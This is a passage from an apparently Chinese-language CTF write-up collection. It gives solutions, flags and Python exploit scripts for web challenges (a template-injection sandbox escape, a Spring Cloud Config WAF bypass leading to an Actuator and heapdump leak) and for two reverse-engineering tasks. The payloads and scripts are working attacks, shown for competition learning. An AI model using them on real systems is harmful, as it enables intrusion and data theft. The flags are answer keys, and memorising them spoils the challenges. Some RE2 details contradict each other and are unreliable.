&nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.write(f"\r &nbsp; &nbsp;Flag: {flag}")
&nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.flush()

&nbsp; &nbsp;&nbsp;print(f"\n\n &nbsp; &nbsp;✅ FLAG: {flag}")
&nbsp; &nbsp;&nbsp;return&nbsp;flag

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp;&nbsp;print("="&nbsp;* 60)
&nbsp; &nbsp;&nbsp;print(" &nbsp;CTF Web Challenge Exploit")
&nbsp; &nbsp;&nbsp;print(" &nbsp;Target: http://39.105.213.28:8000/")
&nbsp; &nbsp;&nbsp;print("="&nbsp;* 60)

&nbsp; &nbsp;&nbsp;# Phase 1: 信息收集
&nbsp; &nbsp; hint_path = phase1_robots()
&nbsp; &nbsp; phase1_tech_stack(hint_path)
&nbsp; &nbsp; phase1_token()

&nbsp; &nbsp;&nbsp;# Phase 2: 端点发现
&nbsp; &nbsp; phase2_discovery()
&nbsp; &nbsp; phase2_analyze_pages()

&nbsp; &nbsp;&nbsp;# Phase 3: SQL 注入
&nbsp; &nbsp; sqli_test()
&nbsp; &nbsp; flag = sqli_extract_flag()

&nbsp; &nbsp;&nbsp;print("\n"&nbsp;+&nbsp;"="&nbsp;* 60)
&nbsp; &nbsp;&nbsp;print(f" &nbsp;FLAG: {flag}")
&nbsp; &nbsp;&nbsp;print("="&nbsp;* 60)

WEB4-企业公文套红预览系统

通过模板注入绕过过滤,读取 doc 中的 flag。

1、信息收集
访问首页与 robots.txt,发现提示路径。
访问备份文件:
http://39.105.213.28:49104/backup/app.py.bak
http://39.105.213.28:49104/backup/index.php.bak
app.py.bak 显示 doc 结构含 flag 字段。
index.php.bak 给出关键提示:从&nbsp;''&nbsp;对象一路向上找(典型 Python 沙箱逃逸思路)。

2、漏洞点确认
{{doc.get('title')}} 可执行并有回显。
{{doc.get('flag')}} 被“模板已被拦截”。
说明存在关键字拦截,但表达式本身可执行。

3、利用思路
通过对象链拿到 __builtins__:
''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']
用 chr() 动态拼接字符串&nbsp;"flag",避免明文关键字。
将拼好的键传给 doc.get(...),取出真实 flag。

payload

{{doc.get(''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](102)+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](108)+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](97)+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](103))}}
import re
import requests

URL =&nbsp;"http://39.105.213.28:49104/preview"

def build_payload() -> str:
&nbsp; &nbsp; bridge =&nbsp;"''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr']"
&nbsp; &nbsp; key =&nbsp;"+".join(f"{bridge}({ord(ch)})"for&nbsp;ch&nbsp;in"flag")
&nbsp; &nbsp;&nbsp;return"{{doc.get("&nbsp;+ key +&nbsp;")}}"

def main():
&nbsp; &nbsp; payload = build_payload()
&nbsp; &nbsp; r = requests.post(URL, data={"tpl": payload}, timeout=10)
&nbsp; &nbsp; r.raise_for_status()

&nbsp; &nbsp; m = re.search(r"<pre>(.*?)</pre>", r.text, re.S)
&nbsp; &nbsp;&nbsp;if&nbsp;not m:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("No result.")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return

&nbsp; &nbsp;&nbsp;print("[+] Payload sent")
&nbsp; &nbsp;&nbsp;print("[+] Result:", m.group(1).strip())

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

WEB5-Spring| Cloud Config Central

题目信息

| 项目 | 内容 | | — | — | | 目标 | http://39.105.213.28:12602/ | | 技术栈 | Spring Boot 2.2.6 + Spring Cloud Config Server | | FLAG | ISCC{Double_Decode_Spring_Bingo_2026} |

漏洞链总览

① Spring Cloud Config 绝对路径读取 (WAF绕过)
&nbsp; &nbsp;→ 读取 /app/application.yml → 发现隐藏 Actuator 路径
&nbsp; &nbsp; &nbsp; &nbsp;↓
② Actuator /env 信息泄露
&nbsp; &nbsp;→ 获取诊断备份下载路径
&nbsp; &nbsp; &nbsp; &nbsp;↓
③ HPROF Heapdump FLAG 提取
&nbsp; &nbsp;→ strings 提取堆内存中的 FLAG

阶段 1:配置接口任意文件读取

漏洞原理

Spring Cloud Config Server 的 resource 端点 {name}/{profile}/{label}/{path} 中,{path} 参数支持绝对路径。 服务端对 ../ 做了 WAF 拦截(返回 403),但对 %2f(URL 编码 /)开头的绝对路径未做校验。

信息收集

# 首页提示端点格式
GET /config/{app}/{profile}/{filename}

# 正常访问(确认接口可用)
curl&nbsp;"http://39.105.213.28:12602/config/app/dev/application.yml"

返回:

server:
&nbsp;&nbsp;port:&nbsp;8080
hint:&nbsp;'This is just a mock repository config. The real secrets are in the main application.yml at the system root (/app/application.yml).'

WAF 绕过 — 读取绝对路径

# 以下方式均失败:
# &nbsp; ../ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → 框架规范化,404
# &nbsp; ..%252F &nbsp; &nbsp; &nbsp; → WAF 拦截,403
# &nbsp; ..%2f &nbsp; &nbsp; &nbsp; &nbsp; → WAF 拦截,403
# &nbsp; %2e%2e%2f &nbsp; &nbsp; → WAF 拦截,403

# ✅ 用 %2f 编码绝对路径首字符,绕过 WAF
curl&nbsp;"http://39.105.213.28:12602/config/app/dev/%2fapp%2fapplication.yml"

原理%2f 解码后变成 /,最终路径为 /app/application.yml。WAF 只检查了 .. 模式,没有拦截绝对路径。

返回真实配置

server:
&nbsp;&nbsp;port:8080

spring:
application:
&nbsp; &nbsp;&nbsp;name:cloud-config-central

management:
endpoints:
&nbsp; &nbsp;&nbsp;web:
&nbsp; &nbsp; &nbsp;&nbsp;base-path:"/internal-monitor-xyz123"
&nbsp; &nbsp; &nbsp;&nbsp;exposure:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;include:"env"
endpoint:
&nbsp; &nbsp;&nbsp;env:
&nbsp; &nbsp; &nbsp;&nbsp;keys-to-sanitize:"password,secret,key,token,.*credentials.*,vcap_services,FLAG"

system:
diagnostic:
&nbsp; &nbsp;&nbsp;auto-dump:true
&nbsp; &nbsp;&nbsp;last-crash-time:"2026-03-10T08:15:32Z"
&nbsp; &nbsp;&nbsp;backup-download-path:${SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH}

关键发现

  • Actuator 隐藏路径/internal-monitor-xyz123(非默认 /actuator
  • 暴露端点:仅 env
  • Sanitize 列表password, secret, key, token, credentials, vcap_services, FLAG
  • 诊断备份路径:值来自环境变量 ${SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH}

阶段 2:Actuator Env 信息泄露

请求

curl&nbsp;"http://39.105.213.28:12602/internal-monitor-xyz123/env"

关键响应

在 systemEnvironment propertySource 中找到:

{
&nbsp;&nbsp;"SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH": {
&nbsp; &nbsp;&nbsp;"value":&nbsp;"/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat",
&nbsp; &nbsp;&nbsp;"origin":&nbsp;"System Environment Property \"SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH\""
&nbsp; }
}

同时确认 FLAG 被脱敏:

{
&nbsp;&nbsp;"FLAG": {
&nbsp; &nbsp;&nbsp;"value":&nbsp;"******",
&nbsp; &nbsp;&nbsp;"origin":&nbsp;"System Environment Property \"FLAG\""
&nbsp; }
}

其他有价值的系统属性

| 属性 | 值 | | — | — | | user.dir | /app | | user.name | root | | java.class.path | target/challenge-0.0.1-SNAPSHOT.jar | | org.apache.catalina.connector.CoyoteAdapter.ALLOW_BACKSLASH | true | | org.apache.tomcat.util.buf.UDecoder.ALLOW_ENCODED_SLASH | true |


阶段 3:Heapdump FLAG 提取

下载诊断备份

curl -o diagnostic.dat&nbsp;"http://39.105.213.28:12602/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat"

file diagnostic.dat
# diagnostic.dat: Java HPROF dump, created Tue Mar 10 13:14:21 2026

提取 FLAG

strings diagnostic.dat | grep&nbsp;"ISCC{"

输出:

ISCC{Double_Decode_Spring_Bingo_2026}

原理

Spring Boot Actuator 的 env 端点通过 keys-to-sanitize 对敏感值脱敏,但这只是 API 层面的过滤。 HPROF 堆转储是 JVM 内存的完整快照,环境变量以原始值存储在 java.lang.ProcessEnvironment 对象中,不受 sanitize 影响poc

import requests
import re
import subprocess
import sys

BASE =&nbsp;"http://39.105.213.28:12602"

def stage1_read_config():
&nbsp; &nbsp;&nbsp;"""Stage 1: 利用配置接口读取绝对路径文件(%2f 编码绕过 WAF)"""
&nbsp; &nbsp;&nbsp;print("[*] Stage 1: 读取 /app/application.yml ...")

&nbsp; &nbsp;&nbsp;# %2f 编码绝对路径首字符,绕过 WAF 对 ../ 的拦截
&nbsp; &nbsp; url = f"{BASE}/config/app/dev/%2fapp%2fapplication.yml"
&nbsp; &nbsp; r = requests.get(url)

&nbsp; &nbsp;&nbsp;if&nbsp;r.status_code != 200:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] 失败: HTTP {r.status_code}")
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; config = r.text
&nbsp; &nbsp;&nbsp;print(f"[+] 配置内容:\n{config}\n")

&nbsp; &nbsp;&nbsp;# 提取 Actuator 隐藏路径
&nbsp; &nbsp; base_path_match = re.search(r'base-path:\s*"([^"]+)"', config)
&nbsp; &nbsp;&nbsp;if&nbsp;not base_path_match:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] 未找到 Actuator base-path")
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; actuator_path = base_path_match.group(1)
&nbsp; &nbsp;&nbsp;print(f"[+] Actuator 隐藏路径: {actuator_path}")
&nbsp; &nbsp;&nbsp;return&nbsp;actuator_path

def stage2_get_env(actuator_path):
&nbsp; &nbsp;&nbsp;"""Stage 2: 从 Actuator /env 端点获取诊断备份路径"""
&nbsp; &nbsp;&nbsp;print("[*] Stage 2: 读取 Actuator /env ...")

&nbsp; &nbsp; url = f"{BASE}{actuator_path}/env"
&nbsp; &nbsp; r = requests.get(url)

&nbsp; &nbsp;&nbsp;if&nbsp;r.status_code != 200:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] 失败: HTTP {r.status_code}")
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; data = r.json()

&nbsp; &nbsp;&nbsp;# 从 systemEnvironment 中提取诊断备份路径
&nbsp; &nbsp; backup_path = None
&nbsp; &nbsp;&nbsp;forsourcein&nbsp;data.get("propertySources", []):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ifsource["name"] ==&nbsp;"systemEnvironment":
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; props = source.get("properties", {})
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if"SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH"in&nbsp;props:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; backup_path = props["SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH"]["value"]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

&nbsp; &nbsp;&nbsp;if&nbsp;not backup_path:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] 未找到诊断备份路径")
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp;&nbsp;print(f"[+] 诊断备份路径: {backup_path}")
&nbsp; &nbsp;&nbsp;return&nbsp;backup_path

def stage3_extract_flag(backup_path):
&nbsp; &nbsp;&nbsp;"""Stage 3: 下载 HPROF 堆转储并提取 FLAG"""
&nbsp; &nbsp;&nbsp;print("[*] Stage 3: 下载并分析 Heapdump ...")

&nbsp; &nbsp; url = f"{BASE}{backup_path}"
&nbsp; &nbsp; r = requests.get(url)

&nbsp; &nbsp;&nbsp;if&nbsp;r.status_code != 200:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] 下载失败: HTTP {r.status_code}")
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; hprof_file =&nbsp;"diagnostic.dat"
&nbsp; &nbsp; with open(hprof_file,&nbsp;"wb") as f:
&nbsp; &nbsp; &nbsp; &nbsp; f.write(r.content)

&nbsp; &nbsp;&nbsp;print(f"[+] 已下载 {len(r.content)} 字节 -> {hprof_file}")

&nbsp; &nbsp;&nbsp;# 用 strings 提取 FLAG
&nbsp; &nbsp; result = subprocess.run(["strings", hprof_file], capture_output=True, text=True)

&nbsp; &nbsp;&nbsp;# 匹配常见 CTF flag 格式
&nbsp; &nbsp; patterns = [r'ISCC\{[^}]+\}', r'flag\{[^}]+\}', r'CTF\{[^}]+\}', r'[A-Z]+\{[A-Za-z0-9_!@#%^&*()-]+\}']
&nbsp; &nbsp;&nbsp;for&nbsp;pat&nbsp;in&nbsp;patterns:
&nbsp; &nbsp; &nbsp; &nbsp; flags = re.findall(pat, result.stdout)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;flags:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unique = list(set(flags))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n{'=' * 50}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp;🏁 FLAG: {unique[0]}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{'=' * 50}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;unique[0]

&nbsp; &nbsp;&nbsp;print("[-] 未找到 FLAG,尝试手动分析 heapdump")
&nbsp; &nbsp;&nbsp;return&nbsp;None

def main():
&nbsp; &nbsp;&nbsp;print("="&nbsp;* 50)
&nbsp; &nbsp;&nbsp;print(" &nbsp;Spring Cloud Config CTF POC")
&nbsp; &nbsp;&nbsp;print("="&nbsp;* 50)

&nbsp; &nbsp; actuator_path = stage1_read_config()
&nbsp; &nbsp; backup_path = stage2_get_env(actuator_path)
&nbsp; &nbsp; stage3_extract_flag(backup_path)

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

RE1

1. 题目特征与脱壳

用 PE 节表判断可见 UPX0/UPX1/UPX2,说明样本经过 UPX 压缩。
脱壳后节恢复正常,核心区:
.text:0x140001000
.rdata:0x14002C000
.data:0x14003F000
后续分析应以“脱壳后样本”为准,否则会出现常量不一致导致 flag 算错。
2. 定位校验逻辑

通过字符串 Input flag&nbsp;in&nbsp;the format ISCC{xxxxxxxxxxxxxxxxxxxx}: 回溯到主流程。
格式校验要求:
总长 26
前缀 ISCC{
后缀 }
中间 20 字节
在 0x1400072b2 附近是核心循环。
0x14000732c 处 mov r8d, 0x14,说明比较长度固定 20 字节。
关键常量(你提供):
0x14003F010: 2f 00 00 00 -> seed = 0x2f
0x14003F018: 60 58 36 31 4b 52 4a 78 41 58 50 3a 50 42 64 50 35 67 5c 6e
3. 算法还原
核心是一个 LCG + 可打印字符域映射,不是哈希。

state = seed; &nbsp;// 0x2f
for&nbsp;(i = 0; i < 20; i++) {
&nbsp; &nbsp; state = state * 0x41C64E6D + 0x3039; &nbsp; &nbsp; &nbsp;// 32-bit
&nbsp; &nbsp; rnd = ((state >> 24) & 0xFF) % 95; &nbsp; &nbsp; &nbsp; &nbsp;// 取最高字节后模95
&nbsp; &nbsp; enc[i] = ((plain[i] - 0x20 + rnd) % 95) + 0x20;
}
memcmp(enc, target, 20);
说明:

你看到的 0x58ED2309 是编译器对 %95 的“乘法+移位”优化,不是第二套加密。
0x5c 0x6e 是字符 \ 与 n,不是换行符。
4. 逆向推导
由上式直接逆:

plain[i] = ((enc[i] - 0x20 - rnd) % 95 + 95) % 95 + 0x20;
用 seed=0x2f 和目标 20 字节逆出中间串:

M(WfZiK@aQRn%Ut#- A]

最终 flag:

ISCC{M(WfZiK@aQRn%Ut#- A]}

POC

# solve_re1.py
seed = 0x2F
enc = bytes.fromhex("60 58 36 31 4b 52 4a 78 41 58 50 3a 50 42 64 50 35 67 5c 6e")
assert len(enc) == 20

state = seed
plain = []
for&nbsp;c&nbsp;in&nbsp;enc:
&nbsp; &nbsp; state = (state * 0x41C64E6D + 0x3039) & 0xFFFFFFFF
&nbsp; &nbsp; rnd = ((state >> 24) & 0xFF) % 95
&nbsp; &nbsp; p = ((c - 0x20 - rnd) % 95) + 0x20
&nbsp; &nbsp; plain.append(p)

inner = bytes(plain).decode("ascii")
flag = f"ISCC{{{inner}}}"

print("inner =", inner)
print("flag &nbsp;=", flag)

RE2

1) 题目流程

程序分三关输入 password1/password2/password3,最终输出:

ISCC{password1password2password3}

三关对应逻辑:

  • Stage1: sg6j
  • Stage2: d5n7
  • Stage3: s6m8

2) Stage1 逆向

Stage1 要求:

  • 长度必须为 8
  • 字符范围 0x21..0x7E
  • 先用魔方风格块变换(8字节分组 + PKCS#7 + Base64)
  • 对结果做 FNV1a32
  • 满足 (h ^ MASK) == EXPECT_OBF

其中 key 是 XOR 混淆存储,解密为:

R U F R' D2

对于本题对应版本,第一段口令为:

XZCRVAWE

其哈希可复算为:

h = 0xF9DD350B


3) Stage2 逆向

Stage2 参数来自 Stage1 哈希 h

  • g_a[i] = base_a[i] + ((h >> (i*6)) & 0x3)

  • base_a = [2,3,4,5,6]

  • seed = h ^ 0x12345678

  • LCG: state = state * 1664525 + 1013904223

  • 生成:

  • x1 = state%10

  • x2..x5 = 10 + state%90

用户输入 9 位数字,解析成:

  • x1 一位
  • x2,x3,x4,x5 各两位

并满足:

  • e1 = a1*x1 + x2 + x5
  • e2 = x1 + a2*x2 + x3
  • e3 = x2 + a3*x3 + x4
  • e4 = x3 + a4*x4 + x5
  • e5 = x1 + x4 + a5*x5

代入本题 h 计算可得唯一解:

437581536


4) Stage3 逆向

迷宫 seed:

seed = atoi(password2) ^ (h * 0x9E3779B1)

迷宫生成规则:

  • 从 (0,0) 到 (3,3)
  • 每步只会走 R 或 D
  • 由 LCG 的最低位决定优先方向
  • 额外开路判断条件恒假(不会生效)

因此路径是确定的,得到:

RDRDRD


5) 最终结果

  • password1 = XZCRVAWE
  • password2 = 437581536
  • password3 = RDRDRD

最终 flag:

ISCC{XZCRVAWE437581536RDRDRD}

poc

# solve_re2_full.py
import base64

MASK = 0xA5A5A5A5
PW1 =&nbsp;"XZCRVAWE"

def fnv1a32(bs: bytes) -> int:
&nbsp; &nbsp; h = 0x811C9DC5
&nbsp; &nbsp;&nbsp;for&nbsp;b&nbsp;in&nbsp;bs:
&nbsp; &nbsp; &nbsp; &nbsp; h ^= b
&nbsp; &nbsp; &nbsp; &nbsp; h = (h * 0x01000193) & 0xFFFFFFFF
&nbsp; &nbsp;&nbsp;return&nbsp;h

def invert_perm(p):
&nbsp; &nbsp; inv = [0] * 8
&nbsp; &nbsp;&nbsp;for&nbsp;old, nw&nbsp;in&nbsp;enumerate(p):
&nbsp; &nbsp; &nbsp; &nbsp; inv[nw] = old
&nbsp; &nbsp;&nbsp;return&nbsp;inv

def add_mask(idxs, k):
&nbsp; &nbsp; a = [0] * 8
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;idxs:
&nbsp; &nbsp; &nbsp; &nbsp; a[i] = k
&nbsp; &nbsp;&nbsp;return&nbsp;a

def build_moves():
&nbsp; &nbsp; mv = {}
&nbsp; &nbsp; mv["R"] = {"perm":[0,5,2,1,4,7,6,3],&nbsp;"add":add_mask([1,3,5,7],1)}
&nbsp; &nbsp; mv["L"] = {"perm":[2,1,6,3,0,5,4,7],&nbsp;"add":add_mask([0,2,4,6],2)}
&nbsp; &nbsp; mv["U"] = {"perm":[0,1,6,2,4,5,7,3],&nbsp;"add":add_mask([2,3,6,7],3)}
&nbsp; &nbsp; mv["D"] = {"perm":[1,5,2,3,0,4,6,7],&nbsp;"add":add_mask([0,1,4,5],4)}
&nbsp; &nbsp; mv["F"] = {"perm":[0,1,2,3,6,4,7,5],&nbsp;"add":add_mask([4,5,6,7],5)}
&nbsp; &nbsp; mv["B"] = {"perm":[1,3,0,2,4,5,6,7],&nbsp;"add":add_mask([0,1,2,3],6)}

&nbsp; &nbsp; mv["R'"] = {"perm":invert_perm(mv["R"]["perm"]),&nbsp;"add":add_mask([1,3,5,7],7)}
&nbsp; &nbsp; mv["L'"] = {"perm":invert_perm(mv["L"]["perm"]),&nbsp;"add":add_mask([0,2,4,6],8)}
&nbsp; &nbsp; mv["U'"] = {"perm":invert_perm(mv["U"]["perm"]),&nbsp;"add":add_mask([2,3,6,7],9)}
&nbsp; &nbsp; mv["D'"] = {"perm":invert_perm(mv["D"]["perm"]),&nbsp;"add":add_mask([0,1,4,5],10)}
&nbsp; &nbsp; mv["F'"] = {"perm":invert_perm(mv["F"]["perm"]),&nbsp;"add":add_mask([4,5,6,7],11)}
&nbsp; &nbsp; mv["B'"] = {"perm":invert_perm(mv["B"]["perm"]),&nbsp;"add":add_mask([0,1,2,3],12)}
&nbsp; &nbsp;&nbsp;return&nbsp;mv

def pkcs7_pad(data: bytes, block=8) -> bytes:
&nbsp; &nbsp; pad = block - (len(data) % block)
&nbsp; &nbsp;&nbsp;if&nbsp;pad == 0:
&nbsp; &nbsp; &nbsp; &nbsp; pad = block
&nbsp; &nbsp;&nbsp;return&nbsp;data + bytes([pad]) * pad

def expand_key(key: str, moves):
&nbsp; &nbsp; seq = []
&nbsp; &nbsp;&nbsp;for&nbsp;tok&nbsp;in&nbsp;key.upper().split():
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;times&nbsp;= 1
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;tok.endswith("2"):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;times&nbsp;= 2
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tok = tok[:-1]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;tok not&nbsp;in&nbsp;moves:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raise ValueError(f"Unknown token: {tok}")
&nbsp; &nbsp; &nbsp; &nbsp; seq.extend([tok] *&nbsp;times)
&nbsp; &nbsp;&nbsp;return&nbsp;seq

def apply_move(block, ms):
&nbsp; &nbsp; tmp = [ (block[i] + ms["add"][i]) & 0xFF&nbsp;for&nbsp;i&nbsp;in&nbsp;range(8) ]
&nbsp; &nbsp; out = [0] * 8
&nbsp; &nbsp;&nbsp;for&nbsp;old&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; out[ms["perm"][old]] = tmp[old]
&nbsp; &nbsp;&nbsp;return&nbsp;out

def k1c7(plain: str, key: str) -> str:
&nbsp; &nbsp; moves = build_moves()
&nbsp; &nbsp; seq = expand_key(key, moves)
&nbsp; &nbsp; data = pkcs7_pad(plain.encode(), 8)
&nbsp; &nbsp; out = []
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(0, len(data), 8):
&nbsp; &nbsp; &nbsp; &nbsp; blk = list(data[i:i+8])
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;m&nbsp;in&nbsp;seq:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; blk = apply_move(blk, moves[m])
&nbsp; &nbsp; &nbsp; &nbsp; out.extend(blk)
&nbsp; &nbsp;&nbsp;return&nbsp;base64.b64encode(bytes(out)).decode()

def decode_stage1_key() -> str:
&nbsp; &nbsp; enc_key = [
&nbsp; &nbsp; &nbsp; &nbsp; ord('R') ^ 0x5A, ord(' ') ^ 0x5A, ord('U') ^ 0x5A, ord(' ') ^ 0x5A,
&nbsp; &nbsp; &nbsp; &nbsp; ord('F') ^ 0x5A, ord(' ') ^ 0x5A, ord('R') ^ 0x5A, ord("'") ^ 0x5A,
&nbsp; &nbsp; &nbsp; &nbsp; ord(' ') ^ 0x5A, ord('D') ^ 0x5A, ord('2') ^ 0x5A
&nbsp; &nbsp; ]
&nbsp; &nbsp;&nbsp;return"".join(chr(x ^ 0x5A)&nbsp;for&nbsp;x&nbsp;in&nbsp;enc_key)

def lcg(st: int) -> int:
&nbsp; &nbsp;&nbsp;return&nbsp;(st * 1664525 + 1013904223) & 0xFFFFFFFF

def derive_stage2_from_h(h: int):
&nbsp; &nbsp; base_a = [2,3,4,5,6]
&nbsp; &nbsp; g_a = [base_a[i] + ((h >> (i*6)) & 0x3)&nbsp;for&nbsp;i&nbsp;in&nbsp;range(5)]

&nbsp; &nbsp; st = h ^ 0x12345678
&nbsp; &nbsp; x = []
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(5):
&nbsp; &nbsp; &nbsp; &nbsp; st = lcg(st)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;i == 0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x.append(st % 10)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x.append(10 + (st % 90))

&nbsp; &nbsp; pw2 = f"{x[0]}{x[1]:02d}{x[2]:02d}{x[3]:02d}{x[4]:02d}"

&nbsp; &nbsp; g_e = [0]*5
&nbsp; &nbsp; g_e[0] = g_a[0]*x[0] + x[1] + x[4]
&nbsp; &nbsp; g_e[1] = x[0] + g_a[1]*x[1] + x[2]
&nbsp; &nbsp; g_e[2] = x[1] + g_a[2]*x[2] + x[3]
&nbsp; &nbsp; g_e[3] = x[2] + g_a[3]*x[3] + x[4]
&nbsp; &nbsp; g_e[4] = x[0] + x[3] + g_a[4]*x[4]
&nbsp; &nbsp;&nbsp;return&nbsp;g_a, g_e, x, pw2

def check_stage2(pw2: str, g_a, g_e) -> bool:
&nbsp; &nbsp;&nbsp;if&nbsp;len(pw2) != 9 or not pw2.isdigit():
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp; x1 = int(pw2[0])
&nbsp; &nbsp; x2 = int(pw2[1:3])
&nbsp; &nbsp; x3 = int(pw2[3:5])
&nbsp; &nbsp; x4 = int(pw2[5:7])
&nbsp; &nbsp; x5 = int(pw2[7:9])

&nbsp; &nbsp; e1 = g_a[0]*x1 + x2 + x5
&nbsp; &nbsp; e2 = x1 + g_a[1]*x2 + x3
&nbsp; &nbsp; e3 = x2 + g_a[2]*x3 + x4
&nbsp; &nbsp; e4 = x3 + g_a[3]*x4 + x5
&nbsp; &nbsp; e5 = x1 + x4 + g_a[4]*x5
&nbsp; &nbsp;&nbsp;return&nbsp;[e1,e2,e3,e4,e5] == g_e

def build_maze(seed: int):
&nbsp; &nbsp; maze = [0] * 16
&nbsp; &nbsp; idx = lambda x, y: y*4 + x

&nbsp; &nbsp; st = (seed ^ 0x9E3779B9) & 0xFFFFFFFF
&nbsp; &nbsp; x = 0
&nbsp; &nbsp; y = 0
&nbsp; &nbsp; maze[idx(x,y)] = 1
&nbsp; &nbsp; path = []

&nbsp; &nbsp;&nbsp;while&nbsp;not (x == 3 and y == 3):
&nbsp; &nbsp; &nbsp; &nbsp; st = lcg(st)
&nbsp; &nbsp; &nbsp; &nbsp; canR = x < 3
&nbsp; &nbsp; &nbsp; &nbsp; canD = y < 3
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;canR and canD:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; move =&nbsp;'R'if&nbsp;(st & 1)&nbsp;else'D'
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;canR:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; move =&nbsp;'R'
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; move =&nbsp;'D'

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;move ==&nbsp;'R':
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x += 1
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; y += 1

&nbsp; &nbsp; &nbsp; &nbsp; maze[idx(x,y)] = 1
&nbsp; &nbsp; &nbsp; &nbsp; path.append(move)

&nbsp; &nbsp;&nbsp;# 源码里的 “随机额外开路” 条件恒假:(r % 100) < -0.1
&nbsp; &nbsp;&nbsp;return&nbsp;maze,&nbsp;"".join(path)

def check_stage3(pw3: str, maze) -> bool:
&nbsp; &nbsp; x = 0
&nbsp; &nbsp; y = 0
&nbsp; &nbsp; idx = lambda x, y: y*4 + x
&nbsp; &nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;pw3:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;c ==&nbsp;'L': x -= 1
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;c ==&nbsp;'R': x += 1
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;c ==&nbsp;'U': y -= 1
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;c ==&nbsp;'D': y += 1
